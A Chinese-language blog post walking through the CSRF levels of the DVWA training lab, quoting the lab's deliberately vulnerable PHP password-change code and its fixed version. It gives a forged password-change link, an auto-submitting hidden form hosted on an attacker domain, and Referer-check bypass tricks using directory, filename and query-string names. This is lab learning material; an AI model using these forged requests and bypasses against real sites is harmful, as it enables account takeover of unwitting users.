dvwa-CSRF

Low

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

没有任何的检验,而且是一个GET请求,那么只需要诱使用户点击如下链接即可修改密码为111:

http://127.0.0.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

单纯的长链接难以诱使用户去访问,可以配合XSS或者短链生成工具生成短链的Location字段去重定向访问,如:

Medium

在上面的基础上增加了Referer的检测:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

关于stripos()函数:

stripos(string $haystack, string $needle, int $offset = 0): int

返回在字符串 haystackneedle 首次出现的数字位置。

strpos()stripos() 不区分大小写。

应对这种Referer的检测,首先可以自己抓包构造包头部的Referer字段,但是在现实中受害者不会自己构造包头部的。

根据代码中判断Referer的逻辑,可以进行目录混淆和文件名混淆。

1.目录混淆

将攻击者构造的提交表单的页面存放在一个服务器的127.0.0.1目录下:

<html>
<head>
    <meta charset="utf-8">
    <title>CSRF</title>
</head>
<body>
 
<form method="get" id="csrf" action="http://127.0.0.1/vulnerabilities/csrf/">
    <input type="hidden" name="password_new" value="222">
    <input type="hidden" name="password_conf" value="222">
    <input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

存放路径如下:

http://www.hacker.com/127.0.0.1/csrf.html

上述路径即为发的修改密码包的Referer字段,其中是含有服务器127.0.0.1的地址的。

2.文件名混淆

同理,可以进行文件名混淆。将上述同样的html文件命名为127.0.0.1.html即可。

这里有一个小细节,如果目标网站是 http 的话,那么 csrf 的这个 html 页面也要是 http 协议,如果是 https 协议的话 就会失败。

3.?拼接混淆

http://www.hacker.com/csrf.html?127.0.0.1

因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。

High

相比于上一题多了token的检测:

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

参考
两种方法,一是利用CORS 的跨域白名单直接结合JS进行攻击,二是配合XSS进行CSRF攻击。

Impossible

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到在之前的基础上添加了对当前用户密码的验证。同时,添加验证码也是一个可行的方案。


©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 本系列文集:DVWA学习笔记 <跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其...
    简言之_阅读 5,330评论 2 12
  • DVWA实践 Web漏洞原理 1. DVWA环境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17阅读 3,955评论 0 19
  • 1、简介 1.1、XSS区别 从信任的角度来区分: XSS:利用用户对站点的信任,服务器下发的脚本在客户端浏览器执...
    cybeyond阅读 888评论 0 0
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,860评论 28 54
  • 首先介绍下自己的背景: 我11年左右入市到现在,也差不多有4年时间,看过一些关于股票投资的书籍,对于巴菲特等股神的...
    瞎投资阅读 5,944评论 3 8

友情链接更多精彩内容